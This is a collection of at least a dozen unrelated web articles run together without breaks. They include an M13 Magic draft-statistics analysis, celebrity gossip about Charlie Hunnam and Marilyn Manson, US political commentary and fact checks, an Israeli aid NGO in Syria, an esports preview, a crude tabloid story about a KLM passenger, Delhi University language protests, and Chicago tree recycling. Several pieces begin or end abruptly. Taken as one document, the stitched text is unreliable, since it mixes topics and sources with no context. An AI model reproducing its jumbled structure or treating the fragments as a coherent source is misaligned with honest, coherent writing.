There are a few reasons why we are seeing these results. The first, and biggest reason, is that our sample size for going 3-0 is significantly smaller than our sample size for winning match one. It would be a reasonable assumption to think that some of these numbers would change over the course of 500 drafts. However, that doesn’t explain the differences completely. The second reason is that the red and green decks seem less well equipped to win against the black decks that are showing up more frequently in the last two rounds of a draft than in the first two. Both colors play more expensive creatures than the white decks and they also have less evasion than the blue decks. This means that they are blown out by Murder more often than the white decks, and they are stopped by Giant Scorpion more often than the blue decks. Finally, it is important to note that red and green are a little bit deeper in their commons than white or blue, but white and blue both have some premium commons that are very powerful in the format. This means that the good white and blue decks will probably have a better shot at winning a draft, but that it is much harder to get those decks consistently. It should also be noted that a big part of red’s problem is that Searing Spear is so easily splashable; since any deck can just splash it, red doesn’t really get the benefit of having it as such a powerful common.
As we go on to look at the format according to archetype, we can see that black is clearly the best color in the format, but the jury is still out on the other four colors. However, black is not so much stronger that you should try to force it. Players are instead rewarded by reading signals well. I have to congratulate Wizards of the Coast on making a set where the colors aren’t dramatically unbalanced.
Archetypes in M13
Popularity of Two Color Archetypes in M13
Win Rate of Two Color Archetypes in M13
In the first chart, we see the popularity of archetypes in M13, and in the second we see their win percentages. We were able to easily get statistically significant samples for all ten color combinations, which is why we don’t see an “other” category. These charts demonstrate three very unique traits of M13. First, no deck was able to reach much higher than 13% in popularity. Compare this to AVR where we had two decks over 14% or OLS, where we had two decks over 15% in popularity. Second, the best performing deck in the format only managed to pick up a 55% win rate. The lowest maximum win rate that I’ve covered on Ars Arcanum was in Cube where we had two decks getting about 60%. Finally, we see that M13 has a very flat win rate across the archetypes. WU is the worst performing deck in the study, but it still managed to pick up a respectable 44% win rate. We also see seven decks with a 50% win rate or better. What this means is that M13 is the most balanced limited format that I’ve covered on Ars Arcanum. In fact, it is probably the most balanced format that I’ve ever seen in my Magic playing history. This is a format that is wide open; there are a few decks that perform slightly better, but virtually any deck is a reasonable choice, as long as you draft and play it correctly.
With that said, let’s take a look at the best decks in the format. We see BG, WB, and BR at the top of the standings, with UR, UG, RG, and GW rounding out the next four. There are a few things we see in common. First, the top 3 decks are all black based decks. Second, three of the decks beating 50% have red in them, and every single green based deck has better than a 50% win rate. Blue only has a better than 50% win rate when it isn’t paired with white or black, which are the most popular colors.
Since it is hard to figure out exactly which archetypes are the best just by looking at the win rate for round one, we’ll go ahead and see what these decks look like when we compare the numbers for 3-0 decks.
Rate of Going 3-0 after Winning Round One by Two-Color Archetype
Rate of Going 3-0 Overall by Two-Color Archetype
The first chart depicts the likelihood of a deck to go 3-0 after winning its first match. The second depicts the likelihood of a deck to go 3-0 overall. These two charts depict a substantially different picture from the first two charts. We still see that there are six decks at 25% or higher on the first chart, and the same six decks breaking the 12.5% mark overall, which is where we expect average decks to be. However, four of those decks are black, and the other two are both blue based decks. Furthermore, three of the decks that didn’t even break 50% on the round one win chart end up with 25% or better on this first chart. But most importantly, we see decks rising to the top of the standings in both charts, with WB, BG, and WU.
The differences between the first two charts and the second two charts are pretty important. We see that having the best round one win rate does not necessarily correspond to having a high draft win percentage. However, all the decks that beat 50% by a significant margin in round one also managed to beat the 25% and 12.5% mark in the second two charts. In fact, we only have two really significant outliers between these charts. WU was the lowest performing deck in round one, but placed highly in both of the 3-0 charts. UG placed a little bit above 50% in the round one chart, but did very poorly in both of the other charts. We can account for UG being an outlier because of small sample size; it is possible that over a larger amount of data, we would see its 3-0 numbers rise a little higher. Furthermore, it appears that UG is a deck that can come together for a fairly consistent deck, but has a hard time bringing together enough power to win all three rounds. For WU, though, we definitely have a big enough sample size, so we can’t use that to explain the problem. It seems that the problem with WU is that although it is a deck with a fairly high power level, it is also very inconsistent, probably on account of being overdrafted. It was the third most popular deck, probably on account of its high potential, but performs poorly because it is forced to take too many mediocre cards late into the packs.
By looking at the data all together, we see three decks that stand out against the field. WB seems like it is the strongest deck in the format, although it is probably a little bit overdrafted right now, which accounts for the difference in match one rates vs. 3-0 rates. BG looks like the next best deck by placing high in all the categories, but a big part of this is probably that it is being underdrafted currently. Finally, WU seems like a very powerful deck as long as people don’t draft it as heavily as they are doing now. Furthermore, it is one of the best choices if you are looking the best chance to 3-0 the draft pod, instead of the highest overall match win percentage. For example, if you are in the finals of a silver level PTQ on MTGO, it might be worth forcing WU and hoping that you end up with one of the good decks and not one of the bad ones, which is exactly what Saenin did in the PTQ on August 4th, which you can see here. If you look at the draft viewer, you’ll see that he passed Murder in favor of Faerie Invaders P1P1 and continued to force WU through the entire draft. This seems like a sound strategy considering that only the winner of the PTQ gets an invite.
But what is it that makes WB and BG the best two decks in the format? They are both base black decks, and we’ve already seen why black is so good. But what is it that green and white add to black that makes these two decks so formidable?
With white, we get three key things to complement the black deck. Flexible removal spells in Pacifism and Oblivion Ring, powerful flyers in Aven Squire, Griffin Protector, and Serra Angel, and access to a full complement of Exalted cards. Black is a little short on flyers, with Vampire Nighthawk and Bloodhunter Bat being the only two in the color. Furthermore, the black ground creatures are a little bit better at defense overall. The black deck doesn’t have a problem dealing with one key creature and then getting in damage, but when a green player can put out multiple large creatures, some of them with reach, the black deck starts to have problems closing out the game. Adding white removal means that you can remove those key defenders more easily and stop threats that are capable of racing. Adding white flyers and exalted cards makes it easier to punch through stalled boards to close out the game.
Of course, seeing that WB would be a good color combination didn’t take very much work. They both have the set’s marquee mechanic, and they obviously have some powerful common spells. But the performance of BG was something that most players could not anticipate. After looking at the spoiler, I had pegged BG as the deck that I wanted to try out, but it still ended up being the fourth least popular deck. The numbers bear out the power of BG in this format. The key is that BG pairs the most efficient creatures in the format with the most efficient removal. Adding green brings Prey Upon to the table, which is a powerful card when paired with big creatures, exalted triggers, or things with deathtouch, all things which BG can put together easily. It gets Sentinel Spider and Deadly Recluse to stop flying decks in their tracks. Timberpack Wolf and Centaur Courser hit especially hard when they are backed up by Murder and Crippling Blight. BG also gets powerful attrition cards between Ravenous Rats, Elvish Visionary, Liliana’s Shade, Acidic Slime, and (Garruk’s Packleader). Furthermore, it is the color most able to take advantage of Roaring Primodox since the colors both have so many cards with ETB effects. But the most important things that sets BG apart from other decks are Rancor and Mark of the Vampire . Rancor is obviously much more powerful than Mark, and it is especially strong in BG. These colors are able to put out small value creatures early on and then put on a Rancor to close out the game. Putting it on a Nighthawk or Primal Huntbeast is incredibly hard to deal with. Rancor on a Liliana’s Shade often means that you just win the game when you attack. Mark of the Vampire also gets exceptionally strong when paired with green cards. You can put it on a Primal Huntbeast to build your own Baneslayer. You also get big creatures like Centaur Courser or Sentinel Spider that turn Mark into a huge life swing that leaves a game winning threat if your opponent cannot deal with it immediately.
But it is important to note that although WB and BG stick out as the strongest two decks in the format, they do not dominate in the same way that good decks have dominated in past formats. The most salient feature of M13 is that it is the most balanced limited format that I have ever seen. There is not a color that you should avoid like the plague. Instead, we see that you can make pretty much any deck work, as long as you are precise in your draft picks, and play efficiently during the games. Although it is a simple format, it is also a format that rewards skill and flexibility. If you were to remember one thing from this article, I would say that the key strategy for M13 is to go into the draft with an open mind, ready to pay attention to and capitalize on the signals that are being sent to you.
Conclusion
In conclusion, here are the key points that we learned from M13:
1. M13 is the most balanced draft format in recent history. Players will be well rewarded for drafting flexibly and paying close attention to signaling.
2. M13’s speed is fairly average. There is plenty of room for decks of all strategies, including aggro decks, tempo decks, attrition decks, and control decks.
3. Games will regularly reach six mana. Seven mana is doable if you have a card that is worth not being able to play it a portion of the time. Eight mana spells should probably be avoided. Though there are tools to make it possible to cast those spells, it is probably better to take a solid common.
4. Play first, but keep in mind that it is often correct to choose to draw in attrition mirrors or control mirrors.
5. Black is the strongest deck in the format, but it is not enough better to be worth forcing.
6. The two best decks in the format are WB and BG, which both use colors that fit together especially well with a base black deck.
7. Forcing WU is a potential strategy in high stakes situations where you really need to 3-0.
I hope this information will help you be successful through the duration of M13 drafting. My plans for the articles in the next few weeks are to do an M13 follow up article, to see how the format has evolved once people better figure out what they are doing. I’d also like to look at M13 sealed, and I’m planning on making an Ars Arcanum foray into constructed, probably starting with standard.
As always, you can follow me on Twitter @oraymw for updates about articles, or to drop me a comment.
Actor Charlie Hunnan has discussed his relationship with Marilyn Manson – revealing that he calls him ‘c**ty bollocks, as well as revealing details of his ‘fucking instense’ new album.
Hunnam and Manson became friends while shooting Sons Of Anarchy together, and the actor recently revealed that the pair are ‘basically like brothers’. Now, the ‘King Arthur’ star has revealed that their relationship isn’t based on music at all.
Asked about his favourite Marilyn Manson song, Hunnam told NME: “I don’t know any of his music – I don’t know any of his music at all! He’s going to be so fucking mad. You know what, I don’t even know if I can say this, I’m gonna to get into an enormous amount of trouble here but I’ll give you a little bit of scoop, he was playing me his new album that hasn’t been released yet last week and there was a track on it called ‘We Know Where You Fucking Live’ and it’s a very, very good track.”
He added: “It’s pretty fucking intense.”
Hunnam went on: “I have not been to one of his gigs, no. Our relationship revolves around us sitting in each other’s houses drinking gin”
Asked if Manson was a ‘gin man’, Hunnam replied: “He actually isn’t, he was an absinthe man who then retired the green stuff, and is now drinking vodka, but I am a gin man.”
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As close friends they might be, Hunnam revealed that he doesn’t call Manson by his real name of Brian Warner, but instead calls him ‘c**ty bollocks’, while Manson in return refers to him as ‘movie star’.
The metal icon recently revealed that he’d finished work on his new album, and that it would be called ‘Heaven Upside Down’ rather that ‘SAY10‘. Now, it’s been confirmed that the record will be released later this year via Loma Vista Recordings and Caroline International.
Manson will then be touring the UK and Europe in the winter – culminating in a show at London’s Wembley Arena. Full dates are below. Tickets are on sale from 9am on Friday 19 May and will be available here.
NOVEMBER 2017
Tuesday 14 – Annexet STOCKHOLM, Sweden
Wednesday 15 – HAL 14 ELSINGNORE, Denmark
Thursday 16 – Sporthalle HAMBURG, Germany
Saturday 18 – Zenith MUNICH, Germany
Sunday 19 – Tip Sport Arena PRAGUE, Czech Republic
Monday 20 – Gasometer VIENNA, Austria
Wednesday 22 – Pala Alpitour TURIN, Italy
Thursday 23 – Samsung Hall ZURICH, Switzerland
Saturday 25 – Velodrom – UFO BERLIN, Germany
Wednesday 29 – Mitsubishi Electric Hall DUSSELDORF, Germany
DECEMBER 2017
Saturday 2 – Forest National BRUSSELS, Belgium
Monday 4 – O2 Academy MANCHESTER, UK
Tuesday 5 – O2 Academy GLASGOW, UK
Wednesday 6 – Civic Theatre WOLVERHAMPTON, UK
Friday 8 – Newport Centre NEWPORT, UK
Published in 2016 by Clinical Psychological Science, the investigation is based on existing evidence that connects poor diets with depression. These sources identified excessive amounts of two chemical markers of inflammation in people with depression: interleukin-6 (IL-6) and C-reactive protein (CRP). It was therefore proposed that the association between depressive symptoms and poor diet may be at least partially explained by immune responses to nutritional content. To test this theory, the researchers utilized data from the Whitehall II study (completed mostly by middle-aged office staff in London, England). After initial screening, information from more than 4200 participants (over 75% male) was found to be applicable to the present experiment.
The statistical analysis compared multiple variables. Diet-based inflammation potential was established using the Dietary Inflammatory Index (DII), recurrent depressive symptoms (DepS) were identified using the Center for Epidemiologic Studies Depression Scale and concentrations of inflammatory markers (IL-6 and CRP) were recovered from stored blood samples. Longitudinal data was obtained for a follow-up period of five years. The results showed that recurrent symptoms of depression were associated with higher DII scores, but only for females. Contrary to expectations, chemical inflammation markers were not significantly related to the process.
He also went out of his way to highlight GOP opposition to raising revenues by ending a perk for corporate jet owners. This proposal would raise only $3 billion, which means it’s trivial in the larger scheme of things, and Obama’s mention of it seemed deliberately designed to provoke howls of outrage and cries of “class warfare” from Republicans — with the obvious goal of maneuvering Republicans into the role of arch defenders of the interests of the wealthy.
Obama is picking this fight in order to reframe the deficit and debt ceiling debate as a battle not over government spending — losing turf for Dems — but over who has the most balanced priorities and who is really working in the interests of the whole country.
Here’s the key quote, which mentions the corporate jet tax break no less than three times:
If we choose to keep those tax breaks for millionaires and billionaires, if we keep the tax break for corporate jet owners, if we choose to keep tax breaks for oil and gas companies that are making hundreds of billions of dollars, then that means we’ve got to cut some kids off from getting a college scholarship. That means we have to stop funding certain grants for medical research. That means that food safety may be compromised. That means that Medicare has to bear a greater part of the burden. These are the choices we have to make...
The Republicans say they want to reduce the deficit. Every single observer who’s not an elected official or politican says we can’t reduce our deficit in the scale and scope we need to without having a balanced approach that looks at everything. Democrats have to accept some painful spending cuts that hurt some of our consituencies that we may not like. And we’ve shown a willingness to do that for the greater good...
If you are a wealthy CEO or hedge fund manager in America right now, your taxes are lower than they’ve ver been. They’re lower than they’ve been since the 1950s. And you can afford it. You’ll still be able to ride on your corporate jet. You’ll just have to pay a little more...My believe is that the Republican leadership in Congress will hopefully sooner rather than later come to the conclusion that they need to make the right decisions for the country, that everybody else has been willing to move off their maximalist position. They need to do the same. My expectation is that they’ll do the responsible thing.
In another key moment, Obama seemed to draw a line against cost-shifting to seniors to solve the Medicare problem. He said:
We’re gonna have to look at entitlements. And that’s always difficult politically. But I’ve been willing to say we need to see where we can reduce the cost of health care spending and Medicare and Medicaid in the out years. Not by shifting costs on to seniors, as some have proposed, but rather by actually reducing those costs.
While there’s good reason for skepticism that the final deal won’t contain some kind of cost shifting, it was good to hear Obama lay down that marker in those terms.
Seventy tons of sanitation items, 670 tons of food, 120 tons of basic home items and 20 tons of medication are just a sample of the aid one Israeli NGO has delivered to Syrian refugees amid the current crisis.
The mission of the nonprofit organization, which has been operating since the early 2000s, is to provide lifesaving aid to communities affected by natural disasters or human conflicts, exclusively in countries that lack diplomatic relations with Israel and places where the regime prevents the entry of conventional international humanitarian organizations.
The Jerusalem Post
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Due to the sensitive nature of the group’s activity, which takes place under the radar in order to protect the lives of team members and local contacts, the organization will remain unnamed in this article.“Nobody asks permission to kill. We do not ask permission to save lives,” the founder of the organization, who will be referred to as Yael, toldon Sunday.“We don’t care about political agendas,” she added. “We don’t work for anybody, just for our conscience.”The NGO, Yael explained, is made up of some 1,200 Israelis who “love their homeland and have all completed military service.”The volunteers, who come from a variety of professional backgrounds, contribute to the operations in four fields: medical, post-trauma care, mass feeding and rescue.“We don’t come to replace the State of Israel,” she said.“The State of Israel is helping significantly in places where it can.We want to focus on countries that do not receive the official Israeli help. What we do is assistance from citizen to citizen.”In light of the situation in Syria, the volunteers have been working in full cooperation with democratic secular Syrian groups that have significant presence on the ground and deliver the organization’s aid to specific places according to an agreed-on distribution map.“We started operating about three weeks following the start of the crisis, even though back then we didn’t know the extent of the catastrophe yet,” Yael told theThrough its activity, which is titled the “IL 4 Syrians” project, the organization has delivered hundreds of tons of basic food; sanitation items including soap, toothbrushes, women sanitation kits, toilet paper and tissues; vital refugee items such as insulating material, mattresses, blankets, iron sheets to build housing units and water canteens; and 300,000 dry meals, each meant to feed five people for a week.The NGO also delivers emergency medical aid such as medication, surgical supplies and field surgery tents, designed to provide as sterile as possible an environment to perform operations.In addition, the Israeli team has provided post-trauma care for children and women, and trained teenage boys to use digital cameras and satellite transmitters to “take shots that the media will want to see,” while teaching them to remain untraceable and out of danger.“We believe that if the US strike takes place, Assad will use more chemical weapons,” Yael said. “We are currently fund-raising to purchase some 3,000 special protection kits for Syrian medical teams who work in field hospitals and clinics in 14 different towns in Syria.”While it operates undercover, the organization has encountered many challenges due to the difficult situation on the ground.“The Muslim Brotherhood there has been distributing aid at mosques, but there are some people who for certain reasons are not permitted to enter a mosque,” Yael explained. “The problem is that the Muslim Brotherhood is fighting anybody who tries to distribute aid in other ways. Some of the members of those Syrian democratic groups that we are in touch with got kidnapped and beat up for that.”Yael added that according to her sources on the ground, the Assad regime has been cutting supplies of water in regions affected by the use of chemical weapons. Water is essential for people in those areas in order to rinse their bodies from the chemicals, she said.Since it was founded, the organization has carried out undercover humanitarian activities in dozens of countries including Sudan, Pakistan, Myanmar (Burma), Indonesia, Sri Lanka and Iraq.“It’s really hard to get funds,” Yael said. “You can’t fundraise without people knowing exactly what you’re doing. It’s a challenge to get funders, Jewish funders, who are interested in Syria, agree to give up credit and remain anonymous, and who are not scared to give us money knowing that something may happen to us.”Fear is an undeniable part of the experience for all of the volunteers, Yael said.“We are all parents, we all have families and we all understand the consequences if we ever get in trouble,” she told the“There is no smart way to deal with fear. But the choice to do this, to feel that you are in the right place at the right time and that you are helping make a significant change, is so rewarding.“I think that for most of my volunteers, what they fear more than death is indifference,” she said.“The belief that indifference kills is stronger than any fear.”
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By TJ Porter
Echo Fox’s newly revamped Call of Duty team has qualified for the first LAN event of the 2016-2017 Call of Duty: Infinite Warfare season: MLG Las Vegas. The Foxes qualified through the GameBattles open qualifier this past weekend, overcoming Evil Geniuses and Pnda Gaming on their way to Vegas.
Next weekend’s tournament features an open bracket, where four more teams will qualify for the group stage and four teams will be placed into the loser’s side of the Championship bracket. Echo Fox will start in the group stage, facing Cloud9, Team Kaliber, and one of the open bracket qualifiers. A top two finish in the group will see the Foxes placed into the winner’s side of the Championship bracket.
Both of the teams that Echo Fox is confirmed to face in the group stage are difficult opponents. The team will have to be on its toes to build off of its victory this week and secure a share of the 32,800 Pro Points and $100,000 up for grabs.
Cloud9
Cloud9 are coming off a 5-6th place finish at 2016 Call of Duty World League Championship, making the squad the favorites of the group. The squad of Adam “Assault” Garcia, Richard “Ricky” Stacy, Patrick “ACHES” Price, and Andres “Lacefield” Lacefield has remained unchanged since August, giving them plenty of time to build synergy.
Ricky and Aches are the veterans of the team, with experience dating back to Call of Duty: Modern Warfare 2. Aches alone boasts twenty first place finishes in his career.
Cloud9 will be a difficult opponent but one that the Foxes hope to overcome on the road to victory.
Team Kaliber
Team Kaliber also attended the 2016 Call of Duty World League Championship, earning a 9th-12th place finish. The roster of Dylan “Theory” McGee, Cole “ColeChan” Chancey, Nick “Happy” Suda, and Jevon “Goonjar” Gooljar-Lim has also been together since August, but is younger than the roster of Cloud9.
Theory is the team’s veteran, having started his career playing Call of Duty 4. His teammates bring a dangerous combination of experience and youth, making Team Kaliber another opponent that cannot be overlooked.
Despite the high caliber of the competition at MLG Vegas, Echo Fox team captain Jeremy “Neslo” Olsen has confidence in his team’s chances. "This team has a ton of potential. We're going to take it one series at a time. We are here to prove ourselves to be one of the top contending teams."
He may have been pleasuring himself, but his fellow passengers were not pleased. In fact, the Dubliner sitting next to him was fuming, causing him to complain to KLM airlines. “OH BE JAY-ZUS!” We’re guessing that wasn’t our friend Margo, he’d of pulled it out and sucked it.
Speaking to the Irish Sun: “I was so shocked at the time I genuinely didn’t know what to do. He was looking at pretty graphic gay porn on his phone beforehand and wasn’t really making any attempt to hide it.
“The only reason I didn’t report him at the time or go up and confront him myself is that there were families with kids on board and I didn’t want to make a scene. I was absolutely disgusted by the whole thing. I coughed loudly and even opened the blind to let him know there were people awake around him but it didn’t bother him.”
And you thought your hangover horn was uncontrollable? Hey, at least you know the in-flight meal wasn’t vegetarian.
In his complaint to airline, the disgruntled flyer writes:
“Hi KLM, just off a flight. The passenger beside me masturbated underneath the blanket after looking at graphic images on his phone. This is disgusting. Didn’t say anything as flight full and young kids around. What is the procedure to complain about this. It’s disgusting. Surely this is illegal. I don’t know what to say. This is really appalling.
“Completely disgusting. Felt incredibly uncomfortable feeling his elbow hit mine. He must have known what he was doing. “He was using the TV screen controls and placed tissues in the seat pocket in front of him. I feel bad for your staff, cleaning staff and next passengers.”
Oh chile, you’re lucky it’s just his elbow you were getting poked with. KLM responded:
“Thank you for elaborating, *****. We can imagine that you did not feel comfortable. We have created a customer care file regarding the incident. Please be assured it has our full attention and at the moment, the case is being handled and reviewed internally.
We take this matter seriously and you will hear from us as soon as possible.”
Controversy arose as Delhi University has recently made it compulsory for students to study one paper in Hindi or any Modern Indian Language listed in the Eighth Schedule of the Constitution (Assamese, Bengali, Bodo, Dogri, Gujarati, Kannada, Kashmiri, Konkani, Maithili, Malayalam and Manipuri). Mandatory Hindi or any “Modern Indian language“ (MIL) would be difficult for the students who speak neither Hindi nor any of the modern Indian languages.
Islamabad based Indian journalist Rezaul Hasan Laskar ‏@Rezhasan says on Twitter:
@Rezhasan (Rezaul Hasan Laskar): @rakeshmani Still no reason for folks in North India to impose Hindi on a lot of us who don't speak the language. @MrSamratX
The North-East Forum for International Solidarity (NEFIS) organized a protest of around 200 people against the imposition of Hindi/Modern Indian languages upon the students of the North-East. It was reported in the Manipur news and Sanhati:
No one from the administration came out to meet us despite our constant appeal to discuss the issue. We were manhandled by the security outside the office and sexist abuses were hurled at women students.
NEFIS Coordinator Chinglen Khumukcham told Business Standard that the University is ill-equipped to teach the MILs so Hindi would be the automatic choice:
There would be problems even for the communities that speak MILs like Manipuri, Assamese etc because the infrastructure and faculty strength for these languages is too small to be able to cover the whole of university.
The Asian Centre for Human Rights has reportedly filed a complaint with the National Human Rights Commission (NHRC) against the introduction of Hindi as a mandatory subject in Delhi University.
The NEFIS has submitted a memorandum to the vice chancellor of DU saying the imposition of Hindi or MILs upon the students of the North-East is unfair as most of these languages are alien to them. Protests on the issue have been held on March 22 and March 25. Khumukcham also said:
This gross neglect of the special needs of the students of the North-East is not a new thing. It is our observation that in the framing of university polices the interests of the students from the North-East is always neglected. It is for this reason that we made this fresh instance of bias an occasion for us to rise above community lines and put forward a united protest to safeguard our common interests.
A Tamil blog commented:
Its Good to see youth from North-East actively voicing against Hindi imposition… Hopefully youth from various linguistic groups could start networking with each other, towards our common goal of bringing constitutional amendment that no single language is sole official language of union, all 8th Schedule Languages are official language of union and the lethargy of updating 8th schedule list must be condemned and be updated regularly.
"If we're given the White House and both houses of Congress and we don't deliver, I think there will be pitchforks and torches in the streets," Cruz said Sunday on ABC's "This Week." "And I think quite rightly. I think people are so fed up with Washington, this election was a mandate with change and the most catastrophic thing Republicans could do is go back to business as usual."
Cruz was responding to a question about some Trump's flips on campaign promises, just weeks after winning the election, including saying he would not pursue a prosecution of Hillary Clinton and that he would like to keep pieces of Obamacare.
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Republican leaders in Congress have promised to help Trump push through top priorities, but Senate Majority Leader Mitch McConnell has cautioned against Republicans going too far, lest they face a backlash at the ballot box. Democrats, who similarly swept into power in 2008, were sharply rebuked by voters in 2010.
Cruz, who was an ardent opponent of Trump until the final months of the campaign, was asked about his charges that Trump was a "pathological liar" and "utterly amoral."
Connecticut state agencies made "many" six-figure payments to departing employees in order to avoid lawsuits or to keep the employee quiet about their work for the state.
State auditors revealed the payments in their 2016 report to the General Assembly. The auditors found that these payments were not part of any legal settlement made by the Attorney General’s office, nor were they authorized by the governor as required by state statute.
State auditor, John Geragosian, said individuals who might have damaging information about a state agency "should not be denied the right to talk about it."
According to Connecticut General Statute Sec. 3-7, only the attorney general or the governor can authorize the payment of a “disputed claim against the state or any department or agency.”
The records of any such compromise are also required to be “open to public inspection.”
The auditors recommended the state require all non-disparagement agreements or payments to avoid litigation follow the laws as outlined in state statute. “Requiring adherence to these statutory provisions will assist in protecting the state’s interests by providing independent scrutiny of these payments and consistency among state agencies.”
Geragosian said "there should at least be a third party" to review the claims and payouts.
The non-disparagement agreements also undermine the rights of the employee to act as a federal or state whistleblower. The report indicates that “many” of the payments exceeded $100,000.
The fourth Republican presidential debate was thick on economic policy — and with that came a variety of flubs and funny numbers.
Some of the claims Tuesday night and how they compare with the facts:
CARSON: “Every time we raise the minimum wage, the number of jobless people increases.”
THE FACTS: Actually, that usually doesn’t happen. When the minimum wage was increased in 1996 and 1997, the unemployment rate fell afterward. In June 2007, when the first of three annual minimum wage increases was implemented, the unemployment rate was unchanged until the Great Recession began six months later.
Economic research has found that when states raise their minimum wages higher than neighboring states, they don’t typically fare any worse than their neighbors.
It’s not known, though, what would happen to jobs if the minimum wage were doubled to $15— as many fast-food workers who demonstrated before the debate were demanding.
What does Ben Carson believe? Where the candidate stands on 10 issues.
RUBIO: “Welders make more money than philosophers.”
Not so, on average.
Rubio is arguing that the U.S. has failed to invest in vocational training — a point also stressed by President Barack Obama’s now-defunct jobs council. But Rubio is wrong to suggest that studying philosophy is a waste of money and time.
PayScale, a firm that analyzes compensation, put the median mid-career income for philosophy majors at $81,200 in 2008, with welders making $26,002 to $63,698.
And Georgetown University’s Center on Education and the Workforce said in a 2014 analysis that median incomes were $68,000 for people with an advanced degree in philosophy or religious studies.
So knowing Plato and getting a college degree still pays off.
What does Marco Rubio believe? Where the candidate stands on 10 issues.
JEB BUSH: “We could get to 4 percent growth.”
THE FACTS: That’s a highly improbable target because of forces in the economy that are beyond the control of any president.
Those forces have been decades in the making: an exodus from the workforce of the huge generation of baby boomers, rising automation and low-wage competition overseas. Those factors and more have limited income growth, which in turn cuts into the consumer spending that drives most economic growth.
Bush frequently holds out hope of 4 percent growth, but even conservative economists who like his fiscal and tax plans consider it a false hope. According to current forecasts, growth is expected to average roughly half that rate.
What does Jeb Bush believe? Where the candidate stands on 11 issues.
TED CRUZ: Since 2008, the economy has grown on average only 1.2 percent a year, showing “the Obama economy is a disaster.”
THE FACTS: That average is correct as far as it goes, but it masks the fact that Obama inherited a raging recession in his first year, when the economy shrank by 2.5 percent. In the five years since, the economy expanded an average of 2 percent, more than Cruz’s figure but still a relatively weak recovery in historical terms.
What does Ted Cruz believe? Where the candidate stands on 10 issues.
CARLY FIORINA: “Obamacare isn’t really helping anybody.”
THE FACTS: President Barack Obama’s health care law may or may not be good for the country on balance. But it’s clearly helping many people.
In the two years it’s been in effect, the share of Americans without health insurance has declined to 9 percent, a historic low. People with pre-existing health conditions can no longer be turned away by insurers, and everyone is required to have coverage or face fines.
While the coverage mandate in Obama’s law remains highly unpopular, state-run high-risk health insurance pools like the one Fiorina proposes to replace the law have been tried before and failed to solve the problem.
What does Carly Fiorina believe? Where the candidate stands on 10 issues.
CARSON: Discussing the presence of Russian troops in Syria, added that “the Chinese are there” as well.
THE FACTS: China has no publicly known deployment of military forces in Syria. In recent days, some news reports have suggested that China would send a warship to Syria, but China’s foreign ministry has denied that.
Back in Chechnya, Todashev’s father, Abdul-Baki Todashev, is heartbroken. He cannot understand how F.B.I. agents couldn’t handle one man without shooting him. He is furious with the F.B.I. for killing his “innocent” son in cold blood. “My son could never commit a crime, I know my son too well. He worked helping disabled people in America and did sports, coached other sportsmen. The F.B.I. made up their accusations,” Todashev said in a phone interview from Chechnya. The father learned about the death of the oldest of his 11 children from the Internet. “My son’s friend Husein was with Ibragim during the first few hours of questioning. But then the F.B.I. asked him to leave,” the father said. “My son was in full cooperation with the F.B.I. but they just murdered him after an almost 8-hour-long questioning.”
Abdul-Baki Todashev claimed that his son had never been friends with Tsarnaev, but that they met about a year ago in Boston, where they both went to the same gym, to boxing classes. Todashev’s parents had big plans for this summer. Last time they spoke on the phone, Ibrahim said he had a ticket to Moscow for May 24, and planned to spend the summer with his family in Chechnya. “He also mentioned that F.B.I. had questioned him about Tsarnaevs; I told him he should not be worried, if one of his acquaintances turns out to be a criminal, it does not mean that he is a criminal,” the father said. His son was planning to visit his home earlier, but officials did not let him leave the US. “For some reason the F.B.I. really wanted to present my son as Tsarnaev’s friend, but that was not true,” Todashev said.
It seemed important for the father to stress that his son was clueless about the terror attack being planned in Boston; that Ibrahim would not have been physically able to get to the Boston marathon site, as during the week of the tragedy Ibragim was recovering from a knee surgery at his house in Orlando.
Palestinians in a West Bank town have received a group of Jewish Rabbis who brought copies of the Quran to replace those burnt and damaged in what locals say was an attack on a mosque by Jewish settlers.
Nidal Thawabte, the mayor of Beit Fajjar, told Al Jazeera that the Rabbis were received by the town as men of God and not as settlers because they did not identify themselves as settlers.
"A group of Jewish Rabbis came on Tuesday afternoon with a box of 25 to 35 Qurans. While the cost and the extent of the damage was much more than just a few copies of the Quran, we accepted their gesture as an act of goodwill," Kamel Hammash, president of the municipality council, told Al Jazeera on Wednesday.
"I believe that the Rabbis were genuine in their approach to make up for what was done," Hammash said, but stressed that while the gesture was important, it was in no way equivalent to the burning and vandalising of the mosque.
Mosque vandalised
According to witnesses, parts of the Al-Anbiya mosque were set ablaze by five attackers who came from the nearby settlement of Gosh Etzion early on Monday morning. In addition to spraying anti-Arab graffiti on the wall of the mosque, the arsonists also damaged prayer rugs and copies of the Quran.
"I believe that they [the Rabbis] are offering to help repair the major damage on the mosque, but I am not sure whether this will happen," Hammash said.
Rabbi Menachem Froman, who went to Beit Fajjar to show solidarity with the Palestinians, said: "This visit is to say that although there are people who oppose peace, he who opposes peace is opposed to God."
Froman also joined other Jews and Palestinians for a demonstration at a highway junction in the West Bank, displaying banners saying: "We all want to live in peace."
Fewer than 20 people took part in the protest after the Israeli military prevented Palestinians from Beit Fajjar from getting to the site, resulting in clashes with Palestinians youths from the town. The soldiers fired tear gas at the demonstrators who were throwing stones but no injuries were reported.
The US state department, the Palestinian Authority and Israeli politicians have all condemned Monday's torching of the mosque. Binyamin Netanyahu, the Israeli prime minister, ordered the military "to act with determination" to bring the attackers to justice.
"The Israeli police ... have opened a very widespread investigation; the other security forces in Israel will be a part of [it], as well as Palestinian information that has some contribution to this investigation," Avital Leibovitch, an Israeli military spokeswoman, said.
'Impunity the norm'
However, Al Jazeera's Mike Hanna said that the Israeli announcement was met with "a degree of scepticism".
Monday's attack was the fourth on a West Bank mosque in the past year. In May, Palestinians accused settlers of burning a mosque in the village of Libban al-Sharqia. Israel said the blaze was probably caused by a spark during building work.
No charges have been brought for any of the previous incidents.
"In that period of time, there has not been a single culprit found, for any of these attacks or actions," Hanna said.
Human rights groups say the Israeli government does not take the attacks seriously enough.
Residents can drop off a live tree at one of 24 locations throughout the city. Six locations will have free mulch available for residents to pick up.
Residents recycled more than 19,000 Christmas trees in 2015. "Dropping off holiday trees for recycling is a worthy act by residents as each recycled tree benefits our environment. Each year this program helps divert waste from landfills and provides residents with reusable mulch," said Charles L. Williams, commissioner of Streets and Sanitation. "There are many ways to recycle your holiday materials, and I encourage residents to visit our Recycle by City Chicago website to learn more."
Most suburban pickup has begun and continues for at least two weeks. Municipalities tend to have the same rules for tree pickup. Before dropping off at a location or leaving trees on the curbside, lights and decorations should be removed and the trees should not be placed in any sort of plastic bag.
Use the map and table below to find the location nearest you to recycle your tree.
Chicago tree recycling drop-off locations
